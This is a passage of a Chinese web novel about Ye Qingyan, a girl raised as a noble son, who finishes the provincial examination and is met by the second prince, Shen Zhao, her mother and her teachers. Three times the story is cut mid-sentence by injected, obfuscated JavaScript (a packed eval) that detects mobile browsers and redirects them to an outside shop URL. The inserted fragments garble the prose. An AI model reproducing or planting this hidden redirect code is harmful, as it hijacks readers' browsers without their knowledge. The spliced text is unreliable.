“还未到寅时。”见人起了,望舒忙递了一杯热茶过去。 叶青言接过喝了,突然想到了什么,抬头看了过来:“我昨晚是怎么回的院子?” 提及此事,望舒抿了抿唇,道:“您昨日是同二殿下一起回来的,您当时睡得很沉,殿下便拦着没让人叫醒您,是二殿下……亲自将您抱回的院子。” 叶青言听罢微怔,转头望向窗外,看着昏黑一片的院子,再问道:“殿下眼下可还在府里?” 望舒摇头:“殿下将您送进屋后就离开了,并未惊动府里的其他主子。” 殿下这是……不想扰了自己休息…… 叶青言眨了眨眼,没说话,少顷,才道:“备水吧。” 望舒应喏,随即退下去准备。 简单的洗漱了一番,又简单地用了顿营养丰富的膳食,叶青言便带上行囊,准备再次出发赶赴贡院。 望舒提着早早就备好的吃食,与哑婆婆一起,一路将人送到垂花门前。 “送到这里就可以了,你们回去休息吧。”叶青言率先停步说道。 “少爷您一路小心。”望舒将手里的食盒递给一直跟着的远山,有心想要多说两句,却又不知说些什么。 叶青言朝内院方向看了一眼,那处漆黑一片,众人显然都还处于睡梦之中。叶青言敛了敛眸,旋即转身离开,她方一跨出府门,就看到门前停着一辆挂着羊角宫灯的华盖马车。 宫灯上那大大的“沈”字昭示着这辆马车出自何处。 沈府的马车? 来人绝不会是沈昭,这个时辰没人能将他从榻上叫起。 那会是谁呢? 叶青言心中隐隐有个猜想。 便在这时,车帘被人从里面掀开,露出的一双眼眸行似桃花,那人的目光恰落了过来,四目相对,叶青言心下陡然一跳。 “阿言,上车,我送你过去贡院。”林翊出口的嗓音醇醇。 果然是二殿下。 虽早有所料,可看到对方的瞬间,叶青言还是难免心中鼓噪,一股不知名的情绪蓦地在她心间乱窜。 “您昨夜没有回宫吗?”叶青言看着林翊,轻声问道。 “我说过要送你去考试的。”林翊笑着说道,此时的天色太过昏暗,林翊没有看清叶青言脸上的神情,催促道,“你快些上车,咱们路上再慢慢细说。” 叶青言压了压唇角,但到底没再多说,依言上了马车。 远山见状,忙也提着食盒跟上。 “可有用过膳食?”叶青言刚一坐上马车,就听林翊问道。 “用了一些。”叶青言说道,顿了顿,又道,“马上就要进考场了,不宜多食。” 林翊闻言笑了:“我知道的。”说着,还摊了摊手示意,“所以也没有给你带吃的来。” 叶青言见他这动作,不由也笑了起来。 风吹起车帘些许,车外的灯色透过起伏的缝隙照进车里,灯笼是红色的,照进来的光亮自然也带着红芒,林翊看着坐在满目嫣红下的叶青言,蓦地晃了片晌的神,眼神直黏在她的脸上不肯移开。 叶青言没有注意到林翊的目光,笑着说道:“可惜了,之前听淮之说他们府上有个厨娘煮的绿豆汤特别好喝。” “他诓你的,沈府是将门世家,府里除了后院伺候的丫鬟婆子,在其他地方当差的都是从战场上退下的伤兵,他们家后厨根本就没有厨娘。” 叶青言很是吃惊:“竟是如此,可淮之为什么要诓我?” “大概是诓你好玩?” “等乡试考完,我要亲自找他问问。” “那他定会说——啊,有这回事?我怎么不记得了?” “也许人家府上真有这么一个厨娘,只是您不知道。” “或许吧,到时我跟你一起去问他。” “这么听着怎么好像有点会审的意思?” …… 两人并肩坐在马车里,随意地聊着天,聊着聊着,渐渐就没了声音。 他们安静了很长时间都没有说话。 但这时的安静与其他时候的安静不同,这时候的安静是美好的,是惬意的。 林翊剥了个橘子,递了一半给叶青言。 叶青言很自然地接了过来。 不需要言语,连眼神都不需要有,递接的动作很自然,仿佛已经做过了无数次。 这样的动作他们也确实做过了很多次。 ——在南苑学宫、在庆宁宫,在他们谈笑的时候、争辩的时候……当然,大部分时候,动手的人都是叶青言,林翊只是偶尔为之,但这一递一接之间的默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灯光微曦,映在二人的脸上,林翊拍了拍叶青言的肩膀:“无需紧张,也不要多想,你已苦读多年,四书五经皆了然于胸,此番赴考,不过是将所知所想付诸笔下而已,首要当心的还得是身子,若是身子不爽,学识便也无处施展了。” “我明白的。”叶青言认真说道。 林翊继续道:“第二场考试会在十五那日结束,那天刚好是中秋,宫中有宴,我不便再来相送,之后也不好再寻借口出宫……阿言,我在宫里等你的好消息。” 叶青言应下,想了想,说道:“眼下天色尚早,您先过去沈府,好好休息了再回宫。” “嗯,你去吧,我马上就走。” 再次点验了考篮里的物件,确认都带齐无误后,叶青言才拿上食盒,转身走进了排着的队伍里。 人头涌动,很快她的身影便消失在人潮之中。 林翊看着她的身影消失,这才转身离开。 乡试的第二场考试,考生们依旧要在号房里待上三天两夜。 三天之后又三天,如此,这整一场乡试才算彻底结束。 除了第一场的四书五经制艺题,在第二、第三场考试的时候,叶青言的大部分时间都在精简文字,力求用最简短的描述将自己的意思书写出来。 乡试虽考三场,可考官们大都还是以第一场考试的文章来评价考生水准的高低,第二、第三场所考的策问和诗赋不过是作参考尔尔,所以很多誊录人员在誊抄第二、三场考试的卷子时,若是觉得考生的文章写得又臭又长,便会偷工减料,大手一挥给去了几句几段。 此举考官们也都知情,并无伤大雅,但叶青言不愿这类情况发生到自己身上,故而一直在精简文字,力求写得短小精炼,令阅卷的考官耳目一新,从而加深印象。 当考生们带着各自的行囊悉数离开贡院后,诸位考官们便迎来最忙碌的时刻。 他们需得在半个月内完成对上万名考生卷子的评审,这并不是件容易的事,可以说,一场考试下来,考官们要比考生们更加辛苦伤神。 当然这些都与叶青言无关。 29. 乡试结束 最后一场考试完毕后,考生们离开时需将带来的行囊也一起带走,并将号房重新恢复原样。 这是每个考生都必须去做的事情,若否将会给最后巡察的考官留下极差的印象,进而影响最后的成绩。 叶青言收拾得很慢,待她背上行囊走出号房时,四周已没剩多少考生。 金乌西沉。 踏出贡院的叶青言第一眼就看到了第二场考试时送她来的那辆马车,不觉怔了一下。 见到叶青言出来,等候在马车旁的长随立马转首向车里的人汇报。 车帘掀开,露出一张与上回截然不同的脸。 一张同样的笑脸。 “阿言!”沈昭欢快地朝叶青言招手,“你出来得好慢啊,我差点以为你已经走了。” 沈府的马车就停在贡院外的大青树下,晚阳落在青树茂盛的树枝之间,被漂浮的树叶分割成无数可以随时变形的光晕,有一个光晕正好落在沈昭的脸上。 叶青言盯着那块光晕,眨了眨眼:“你怎么来了?” “我来送你回家呀!”沈昭轻巧地跃下马车,跨过满地光影,走到叶青言面前站定,歪着头,笑嘻嘻道,“惊不惊喜,意不意外?” 叶青言看着沈昭,唇角微扬:“还成吧。” 说这三个字的时候,叶青言刻意做平淡状,语调没有任何起伏,但无论是沈昭还是旁边等候的车夫、长随等人都能清晰地听出她话语里的欣喜。 对于沈昭的出现,叶青言仅有一瞬的惊讶,她并不如何意外,却是真心实意地感到高兴。 “什么叫还成吧?你给我说清楚!”沈昭故作震惊,连连追问。 叶青言也配合他道:“还成就是还成,还可以,就这样。” 晚风拂过,青树轻摇,发出沙沙沙的声音。 远山这时走了过来。 叶青言朝他过来的方向看了一眼。 天光渐暗,晚风微凉,远山身后空无一人。 叶青言神色无波地将从贡院带出的行囊全数递给远山,而后蹬上了来自沈府的马车。 沈昭也跟着上了马车。 放下车帘之前,沈昭朝叶府马车所在的方向瞟了一眼,神色晦暗不明。 但上了马车,面对着叶青言,他便又恢复了放浪不羁的模样,脸上还有刻意带起的痛心疾首:“你竟对我的出现一点也不感动。” 叶青言没有回应这句话,她坐在马车柔软的绣垫上,挑开一边的车帘,看着远处渐渐亮起的点点灯光,很长时间都没有说话。 沉默持续了很久,只有车轮碾压地板的辘辘声不时传入耳间。 沈昭趁势仔细打量了叶青言一番,发现她白了,也瘦了,脸色憔悴,很明显这九天的考试极为辛苦。 窗外月光微熹,银白的光晕落在叶青言的脸上,耀的她的脸色更加苍白。 沈昭无声地叹了口气。 时光渐移,月色渐浓,空气微有些寒。 叶青言安静望着窗外的夜色,望着望着,忽然傻傻地笑出声来。 沈昭刚喝了杯茶下肚,见她这模样,好险没喷出来。 这是突然傻了? 叶青言转回目光,脸上带着笑意,她很认真地看着沈昭,说道:“其实我很高兴。”顿了顿,又道,“很高兴你能来接我,多谢你,淮之。” 叶青言不算拙于言辞,但她确实不怎么会说好听话,所以她说高兴,那就是真地高兴,即便她此刻看着已然平静。 沈昭注视着叶青言,眼中的怜惜一闪即逝,大喇喇道:“这有什么,能早点出宫我求之不得,今儿下午的课程正好是我最不耐烦的《时文》,真论起来还得是我谢谢你。” “你这一科本就学的差强人意,实不该早退。”叶青言对此很不赞同。 “我又不参加科考,便是学好了时文也没用。”沈昭耸了耸肩,沉默了片刻,他好奇地看着叶青言,问道,“你觉得自己考得如何?” “不错。”叶青言说,“上榜应是无虞。” “就只是上榜吗?我可是压了你定得第一的。” “那你对我也太有信心了。” “自然,谁让咱们是好兄弟呢。”沈昭拍了拍叶青言的肩膀。 “那可惜了。”叶青言笑看着他,“三场考试都已结束,便是再好的兄弟,我也无法为了你而多多努力,只能听天由命了。” 说完这话,叶青言便靠着车壁,闭上了眼睛。 沈昭看着她微白的脸颊,没有再开口。 马车平稳地朝着玉石巷的方向驶着。 叶青言并没有睡着,她只是闭着眼睛。 虽然她很累,但眼下还不是她可以入眠的时候。 她必须得等回到穿云院,才能安心睡下。 这让叶青言想到第一场考试结束的时候,当时不知怎么的,她竟在二殿下的身边沉沉睡了过去,连被对方抱下马车都没有醒来…… “不进去坐坐吗?” 国公府大门前,叶青言走下马车,微仰着头,望着车上的沈昭问道。 沈昭摆了摆手:“不了,我就是送你回来,你回去了好好休息,等过两日你休息好了,我再来看你,到时我们再好好庆祝,大醉一场!” 叶青言想了想,笑了起来:“好,那到时候见。” 马车前的灯笼不知是何时点的。 国公府门前的灯笼也正亮着。 沈昭垂着眼,看着叶青言的面庞在暖光灯色的照耀下泛起明亮的色泽,心想他们阿言还是笑起来最好看。 “到时候见。” 说罢,沈昭直接放下车帘。 叶青言目送沈府的马车离开,而后转身走进国公府。她并没有回去穿云院,而是直接去了内院所在的怡然居。 怡然居里,灯火煌煌,晕黄的灯芒蜿蜒,宫灯绵延缠绕在廊庑与长廊之下,明润的灯芒彰显着中秋的余韵仍在。 主殿里,李氏端坐上首,叶青欢乖巧地陪在一侧。 见叶青言进来,叶青欢欣喜地往她身后望了望,发现并无他人,很有些失落地收回目光。 李氏注意到叶青欢的情绪变化,拍了拍她的手安慰。 “母亲。”叶青言躬身行礼。 同时,叶青欢也起身向叶青言见了礼。 李氏神情温和地受了叶青言的请安礼,视线扫过叶青欢,柔声道:“听说是沈小侯爷送你回来的,怎么也不请他进来坐坐?” “天色晚了,淮之是外男,不便多留,就先回了,母亲可是寻他有事?” “倒也不是,就是……” 李氏话没说完,就觉察到女儿拉住自己的衣袖,侧目看去,见她满脸娇羞,不由笑着打趣:“欢姐儿这是怎么了?” “娘亲!”叶青欢羞恼地跺了跺脚,“您不许再说了!” “好好好,娘不说了就是。”看着自家女儿羞得耳根子都要烧红的模样,李氏连忙安慰。 叶青言亦是嘴角含笑,平静看着母女两人的互动。 李氏安抚好女儿,见叶青言还在下首站着,抬手指了指旁边的一个位置,道:“你坐。” 叶青言依言落座,她的坐姿很端正,腰背挺直,两腿稍略分开,与肩膀同宽,双手则以半握拳的方式放在腿上,非常标准的男子坐姿,一看就是受过良好教养的贵公子。 李氏见状非常满意,她又伸手指了指旁边的茶壶。 叶青言微怔。 倒是叶青欢,瞬间明白了李氏的意思,她上前拎起茶壶,把叶青言面前的茶杯斟满,想了想,把李氏面前的那个茶杯也斟了上。 李氏对叶青言说:“这是你最爱的云雾茶,母亲亲手泡的,你尝尝看。” 叶青言看着面前清亮的茶水,顿了一瞬,但还是端起茶杯,递到唇边,轻轻饮了一口:“母亲的手艺极好。” 李氏微笑:“你喜欢便好。” 叶青欢听了也道:“哥哥喝茶最是挑剔,也只有母亲的手艺能让哥哥满意。” 叶青言闻言微笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015792|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李氏也显得非常高兴,她又对叶青言说:“我让小厨房炖了盅雀舌羹,你近日考试辛苦,待会儿用上一盅,好好补补。” 看着李氏温柔含笑的眉眼,叶青言有些恍惚,然后渐渐平静。 她已经记不清自己有多久没有这样同母亲一块儿对坐饮茶了,她们上次一起喝茶的记忆,遥远得好似发生在上辈子般。 其实叶青言喝茶并不挑剔,一点儿也不。 叶青欢之所以觉得她挑剔,是因为曾经有一阵,叶青言常以想喝母亲泡的茶为由出入怡然居。 …… 回想起曾经,叶青言不由想到了她还小的时候,那时她还没有搬出怡然居,母亲待她也不似后来这般生疏。 想着曾经的怡然居,想着母亲当时的叮咛与欢姐儿欢快的笑声,叶青言不由有些出神。 母亲是什么开始时候跟她疏远的呢? 似乎是她夺回管家权之后。 祖母再也拿她没辙,便开始将对大房的怨愤转嫁到自己的身上,以孝道之名,行磋磨之实。 叶青言大概能猜到一些李氏的心思,当愧疚注定无法弥补,日久天长,就会变成心里的恶瘤,所以她近些年才会越发的不爱见到自己。 天光透过窗纸漏下,落在光滑如玉的地板上,把地面照耀成很多个格子,瞧着仿佛棋盘。 叶青言安静地坐在椅中,看着那一方仿如棋盘的阴影,安静说道:“都依母亲您的安排。” 叶青言说这话时的表情很平和,唇角微扬,露出一道笑容,那笑容里隐藏着很多意思,但却不再有任何苦涩。 李氏很满意叶青言的回答,她也全然没有注意叶青言瞬息之间的情绪变化。 “此番乡试已经结束,你好好休息,准备准备参加来年的会试。”李氏说道,完全没有要过问叶青言乡试考得如何的意思。 便是旁边陪着的叶青欢听着这话都觉得不妥,她笑着说道:“娘,乡试的结果还没有出来呢,您该先问问哥哥考得如何。” 李氏听罢蹙眉,但还是侧首看向了叶青言,问:“此番乡试,你答得如何?” 叶青言微垂着眼,手也微微握紧,出口的声音却没有任何颤抖:“答得尚可。” “能否上榜?” “我已尽了全力,至于结果,得看贡院那边如何公布。” 李氏搁下茶杯,有些不悦:“你没有把握?” 叶青言抬起眼,静静看着李氏,良久,说道:“乡试三年一考,今年又是正科之年,与试的秀才有数万之众,能入榜的仅有百人,万择其一,任何细枝末节的疏漏都有可能导致落榜,我又何来十足的把握?” 李氏一愣,对上叶青言那双清澈的眼睛,不知为何竟然有些心虚,但这一抹情绪很快就被更强烈的不悦所取代:“你耕读不辍十数载,而今却连中举的把握也没有,如此这般,何时才能重振国公府的门楣?” 屋里明明点着清淡沁人的香气,叶青言的心口却像是被什么东西堵住了一样,酸酸胀胀得厉害,但她的神色依然平淡,说道:“母亲教训的是。” 看着叶青言平静的神情,坦然的目光,李氏突然产生了一种荒诞的错觉,仿佛她才是那个高高在上的“母亲”,而自己只是个无关紧要的人。 然不等李氏细想,这种错觉便被叶青欢的话语打断了,她说:“我相信哥哥一定可以中的!揭榜那天哥哥你带我一起去看好不好?” 叶青欢说罢,一脸期待地看着叶青言。 李氏的面色缓和了一些。 叶青言看着叶青欢,笑着摇了摇头:“那天街上人多,你出去不安全,我到时遣人盯着,有了结果让他第一个回来告诉你。” 叶青欢有些遗憾,但还是乖巧地点了点头。 对于这个妹妹,叶青言的感官很复杂,欢喜、羡慕、嫉妒,曾经甚至还有过怨愤,但无论情绪如何复杂,她无疑都是宠爱她的,她希望她能有自己的人生,不用背负任何责任,只需无忧无虑、快快乐乐地长大。 30. 我没有错 母女三人难得聚在一起用膳,谭嬷嬷对此非常上心,早早就过去了厨房张罗。 谭嬷嬷作为李氏身边的老嬷嬷,对于李氏母女三人的口味都很了解,故而备下的晚膳也很合三人的味口。 荷叶粉蒸肉、糖醋脆皮鱼、芝麻拌荠菜、茶香菌子汤,还有一道素炒银芽和黄金如意卷,菜色丰盛但不油腻,极适合晚间食用。 这一顿晚膳,叶青言用得十分满意,即便席间母亲一直在给欢姐儿布菜。 她发现自己只要不去在意一些事情,就能很坦然地消化很多情绪。 粉蒸肉被蒸得软糯酥烂,吃着还有股荷叶的清香;脆皮鱼是酸甜口的,外皮微甜带酸,嚼起来却还保有鱼皮特有的弹滑;如意卷里面卷的是菜心、萝卜丝和青瓜丝等时蔬,吃着相当脆爽;还有那道芝麻拌荠菜,野生的荠菜口感鲜嫩,咬进嘴里还会有种淡淡的清香感;素炒银芽吃着也很爽口。 吃完桌上的菜和碗里的饭,最后再喝上一碗菌子汤,简直是无上的享受。听谭嬷嬷介绍,说这些菌子是茶庄那边送来,也不知是不是因为这个原因,这汤喝着格外的清香鲜美。 谭嬷嬷见叶青言吃得香,心里顿时踏实不少,她对夫人一直给小姐夹菜,却忽视少爷的做法很是费解。 夫人是偏心小姐,可平常也不会做得这么直白,今儿这是怎么了? 李氏是故意的,她很不满叶青言刚刚对自己态度,所以故意如此,不想对方竟毫不在意,因此而越发气闷。 吃过了晚膳,叶青言没有多留,当即便告辞离开了怡然居。 叶青欢倒是陪着李氏多坐了会儿,见李氏兴致不高,当她是累了,便也起身离了开。 待叶青欢走出屋子,李氏顿时沉下脸来,盯着桌上一只茶杯里的茶水出神。 谭嬷嬷见状,心中幽幽叹息一声,垂手静静站在一旁,没有上前打搅李氏。 “谭妈妈。”李氏伸手拿过那只杯子,看着里面几乎没怎么动过的茶水问道,“言儿以前最爱喝我泡的茶,尤其是云雾茶,她这次怎么不喝了?” 谭嬷嬷上前两步,小心翼翼地拿走李氏手中的茶杯,低声道:“夫人,绿茶喝多了醒脑,少爷乡试连考九日,眼下最需要的是休息,而不是提神。” 谭嬷嬷有些后悔,她不该那么早过去厨房的,也不该一直待那儿不回,她当时若是在旁,定会建议夫人煎上一壶安神茶给少爷饮用。 李氏闻言一愣,绿茶提神,她当时并没有考虑这点,只想着言儿喜欢…… 四周一片安静。 前方忽地传来“啪”一声轻响,屋里猛得一亮,又猛得暗了下去。 李氏的脸色在灯光下晦暗不明。 谭嬷嬷愈发紧张起来,她赶忙拿着剪子拨了拨灯芯。 屋内又重新亮了,谭嬷嬷转眸看向李氏,犹豫再三,到底心一横,劝道:“夫人,少爷才是您将来的依靠,您该对她好些的。” 李氏听罢皱起眉来:“我何时待她不好了?哪个高门大户不是如我这般养儿子的?” “可少爷她毕竟不是真正的……” “闭嘴!”谭嬷嬷话没说完,就被李氏低声呵斥,“此事不许再提!” 谭嬷嬷连连认错。 李氏阖上眼睛,手掌却轻轻落在了胸口。 她没有错,儿子是要撑起一府的门楣的,她待她严苛是为她好。 她没有做错…… 她没有错! 不提怡然居里的主仆交谈,回到穿云院的叶青言什么也没做,什么人也没有再见,她用了一炷香和三桶水,将自己简单地擦洗了三遍,然后倒头就睡。 乡试已全部结束,她终于可以心无旁骛地睡上一觉。 直到此时叶青言才发觉自己的床榻竟是如此松软,从窗外涌入的微风是如此得沁人心脾,便是夜间秋露所捎来的寒凉都那般宜人。 清晨五时,叶青言准时睁开双眼。 即便被拘在狭小的号房里“不见天日”地过了九日,她也还是如此准时地醒来,十几年读书生涯所养成的作息规律,已然成了习惯,深入她的骨髓,变成了某种本能。 叶青言对此非常无奈。 房间里很安静。 叶青言没有赖床,她只在松软、舒坦的榻上多躺了一息,便坐了起来,披上衣裳,走到洗漱架前,架上的铜盆里装着半盆清凌凌的水。 水是凉的,但叶青言并不在意,她就着凉水将毛巾打湿,认真地擦洗了脸和脖子。 眼下天色还早,她本想如往常那般晨读一会儿,却见书案上空空如也,这才想起,是哑婆婆担心她不好好休息,将她屋里与四书五经有关的一应书籍都先收走了。 叶青言想了想,从一旁的书箱里找到本诗卷翻看了起来。 书籍是叶青言在这个世上最熟悉的事物之一,她对文字先天亲近,品读不仅能供她消遣,还能给予她精神上的无限慰藉。 时光渐移,屋外响起了来回走动的脚步声,步声很轻,显然是怕扰了屋里的人休息。 叶青言遂放下诗卷,起身推开屋门,晨光未及人脸,细密的风便合着沁鼻的桂香扑面而来。 涌入的微风顿时驱走了屋里积攒一夜的闷气。 初秋的清晨,风细细,雾蒙蒙,稍显寒凉,却并不恼人。 “少爷?”看到叶青言这么早就起了,望舒很是惊讶,她还以为少爷会多睡几个时辰。 叶青言没有回应望舒的惊讶,而是说:“今早我想吃汤面。” 望舒愣了一下,忙点头说好:“奴婢这就去安排。” “嗯。”叶青言点头,顿了顿,又说,“半个时辰后再送热水过来。” 望舒应诺,随后转身离开。 叶青言站在屋檐下,就着逐渐亮起的天光做了五次极深远绵长的呼吸吐纳,将胸腹间最后的那抹不适与酸涩尽数排出体外,而后抬步走出屋子,一如往常地开始锻炼。 经过乡试,叶青言更加清晰地认识到锻炼身体的重要性,科举之难不仅在于脑力,更在于体力,只有把体格练好了,才能更好的将所思所想付诸笔下。 日头渐渐升起,碧蓝的远天渐渐变红,朝霞铺满东方。 当院角金桂上最后一滴秋露也消散在空气中时,叶青言的锻炼终于结束。 初秋天寒,她却锻炼了出一身的汗。 净房里,望舒和哑婆婆一起把准备好的热水,倒进了大浴桶里。 叶青言脱衣走了进去,靠在木桶边缘,任由微烫的水浸润自己有些疲惫的身体。 望舒站在浴桶旁边,一下一下地揉搓着叶青言的头发。望舒边洗边轻声问道:“少爷,水烫不烫,要不要添点凉水?” “不用了。”叶青言说,“这样就好。” 痛痛快快地泡了澡,洗了发,用洁白的巾子把湿漉的头发揉至将干未干,叶青言转身,就见望舒直接拿了内衫过来,不由问道:“束带呢?” 望舒诧异:“您今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032244|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿要出门?” 叶青言点头:“我要进宫一趟。” 望舒抿了抿唇,有心想劝,却也知晓少爷决定的事情,自己无法更改,便道:“我这就去取来。” 穿戴整齐,叶青言走出净房。 早上吩咐的汤面已经送过来了。 面条是装在一只砂锅里端上来的,见叶青言出来,哑婆婆用布巾包着手揭开砂锅的盖子,一股浓郁的香气顿时随着白气升腾而起。 哑婆婆冲叶青言微笑。 叶青言回以一笑,抬步走到桌旁坐下,哑婆婆连汤带面盛了一碗递给她。 面条是细面条,软软的,都不用怎么嚼就能直接咽下去,面汤喝着也是香而不腻。 碗里除了面和汤,还码了好些好料,牛肉丁、火腿丁,碎蘑菇,虾仁,笋丁等,这些小料也都吸饱了汤汁,吃起来格外的香。 叶青言吃着面,喝着汤,再配两口清爽可口的小菜,眨眼间满当当的一砂锅面条就下去了小一半。 剩下的面条,叶青言让望舒和哑婆婆一起分食了。 用过了早膳,哑婆婆将碗筷都收拾下去,望舒则端着一碟切好的梨子进来,微笑说道:“这是今年刚出的鸭梨,是中秋那日,二夫人特意遣人送来的,除了新鲜的鸭梨,二夫人还让人送了几条海鲈鱼和好些海货过来,奴婢都给养在小厨房里了,三夫人那边也差人送了好些熏肉和蜜柚过来。” “可都回礼了?”叶青言问。 望舒:“奴婢给回赠了些福橘,两坛桂花酿,还有些柿饼。” 叶青言听了,点头:“你是个有分寸的。” 望舒闻言笑了笑,又道:“您十五那天回来向夫人和老太太请了安便回院子睡下了,之后大小姐、淮少爷、晨少爷都有来过穿云院问候您,但都被奴婢以您已经歇息为由给打发了。” 说着,望舒从一侧的偏厅里拿了三只憨态可掬的橘子灯出来:“这是大小姐亲手做了送来的,说您考试辛苦,她不宜打扰,就让这几盏橘子灯陪着您一起过中秋。” 叶青言看着那三只橘子灯,想象着欢姐儿小心翼翼挖橘子的场景,不觉微笑了起来。 说来这橘子灯的做法还是当年叶青言教叶青欢的。 欢姐儿自小就怕黑,记得有一年她们外出回来的晚了,那日风大,灯笼尽数被风吹熄,欢姐儿被吓得魂不附体,回来后就病了。叶青言心疼不已,便做了满园橘子灯送她,欢姐儿见了果然十分欢喜,病都好了大半。 “我记得私库里还有几块殿下之前赏赐的上好毛料,你去挑选三套分别给他们送去。”微顿了顿,叶青言又说,“在单独给欢姐儿选套时兴的头面一起送去。” 望舒笑着应诺,见叶青言没有其他吩咐便躬身退了下去。 叶青言没有在屋子里多留,望舒离开不久,她也起身去了前院,吩咐远山备车进宫。 进宫之前,她先去了趟城西,将田记的烤鸡、王记的炸糕等小吃都打包了一份带上。 二殿下天性喜欢猎奇,对这些在民间很普通,但宫里难得一见的吃食十分喜爱。 当然,知道这点的只有叶青言一人。 之后,她又去了趟吉祥酒楼,订了两坛桂花酒酿,让店家分别给谢府和荀府送去。 中秋节礼母亲已然送过,这两坛酒是她这个做学生的为没能亲自上门给夫子拜节所送的赔礼。 待一切安排完毕,时间已经来到了巳时末,叶青言这才乘车往宫门方向而去。 31. 两位夫子 南苑学宫。 叶青言到时,已是下学时间,太学堂里空无一人,学生们都去了偏厅午休。 叶青言没有过去偏厅,也没有进去讲堂,而是转道往后院书房的方向走去。 荀夫子和谢夫子刚用完午膳,两人正对坐着喝茶,听到侍童的通禀时都很意外。 书房里,叶青言细细地同两位夫子讲了自己乡试各题的作答情况。 荀夫子听罢赞道:“你此番乡试,不论破题,还是立意都不失往日水准,甚至稍高出了一筹,以我之见,可以列为佳作。” 谢夫子亦是颔首,想了想,还是说道:“不过科考终究还是要讲究缘分气运,你且放平心态,安心等待桂榜出榜即可,你年纪还小,便是今次差了几分运气也是无妨的。” 叶青言:“学生明白。” 谢夫子看着面前眉目俊秀,身姿英挺的少年,内心深感欣慰,他毫不吝啬对叶青言的赞赏,末了,又问起她接下来的打算。 叶青言沉吟了片刻,说道:“天下学问,学之不尽,学生虽得两位夫子盛赞,亦知自己还有浅薄之处,所以此番乡试,不论结果如何,学生都想出京游历一番。” 一语落下,满室寂静。 有清风从窗外拂来。 平摊在乌黑书案上的书本被风缓缓吹翻了几页。 茶杯里的清茶也随风翻腾起袅袅白雾,淡淡的茶香随之散出。 谢夫子同荀夫子对望了一眼,良久,问道:“你缘何会有此决定?” 叶青言道:“文章出自笔下,下笔缘于所见,京都虽然繁华,但所能看到的始终有限,所以学生想出去走走,去看看外面的世界。” 荀夫子听罢挑眉,显然是对叶青言的这个想法表示赞同,但他并未开口多言。 又是一阵静默,随后再出声的,依然还是谢夫子,他道:“你有此心,甚好,所谓千磨利刃,百炼成钢,外出历练确实有利于沉稳心性,只是你毕竟年少,又是皇子伴读,要想离京,恐是不易。”微顿了顿,谢夫子又道,“且来年春闱就在三月,你此番便是出京也只能在周边几个府县走走。” 谢夫子此言,算是直接收回了方才关于气运的话语,笃定叶青言的名字必在桂榜之上。 叶青言一拱手,说道:“夫子所言,学生也都想过,但学生不想一直拘囿在原地,便是只能在周遭几个府县走走,看看不同于京城的风景也是好的。” 随其话落,又一阵风从屋外吹来,拂得檐下的竹铃啪啪作响。 谢夫子不知想到什么,神情忽然变得有些感慨,缓声说道:“其实以你现在的文章水准,就是直接参加来年春闱,也足以上榜。再加上你的出身,金銮殿上,一个好的名次唾手可得。” 叶青言闻言抬起头,对上谢夫子的目光,不闪不避,认真说道:“学生所求,并不仅是如此。” 金榜,从来都不是叶青言的终点。 她所追求的也不只是成为进士,更不是单纯的入朝为官。 为天地立心,为生民立命,为往圣继绝学,为万世开太平,这一宏伟的政治抱负,从叶青言拿起笔的那一刻就融进了她的骨髓。 做一件事情,无论是什么事情,都要认真做到最好。 这是叶青言自幼年时候开始就始终贯彻的行为准则,她一直这样要求自己,事实证明她也确实做到了这点。 时值正午。 虽已入秋,可秋日的午后依旧炎热,墙角的冰盆被高温融化了大半,小半截冰柱沁在小半盆冰水里,在阳光的照耀下,散射出如宝石般的光彩。 谢夫子静静看着叶青言,双眼宁和深幽,半晌,他欣慰颔首,赞许道:“你的确是个好苗子。” 既然对方心意已定,谢夫子也不再规劝,而是从实际出发,根据叶青言现有的不足,提出了宝贵的指点意见。 “你此番外出游历,必要的不是增长见识,而是多多注意身边的细节,将眼中所见与书上所学相结合,与京中诸事做对比,仔细思索事与事之间的联系。” 见叶青言面露疑惑,谢夫子直白再道:“你的文章,并不缺少见识,缺得是更为细致的佐证。” 叶青言张口欲言,却被谢夫子抬手制止。 一旁的荀夫子没有说话,却是笑着给叶青言倒了一杯清茶,示意她继续往下听。 谢夫子没有多做解释,娓娓又道:“科考的八股文需得按照固定的格式书写,如此,虽限制了文章的多样性,却也最能彰显下笔者的学问见识,也最是公平。” “会试看重策问,而一篇策问最要紧的在于能否付诸实际。” “要想将文章付诸到实际应用之中,不外乎两点,其一,乃是广也;其二,乃是全也。” “你出生簪缨,又是皇子伴读,所能接触的朝政时事远不是常人所能及,所以你的文章见解之全面也远非寻常学子所能及。” “可关于‘全’这一方面,你却不出色,但这也不能怪你。研究之精、理解之深,是为全也,细致全面,需得依靠年岁经历,此乃功夫在文外,你尚年少,又不曾周游各地,能有如今水准,已是自己的玄机。” 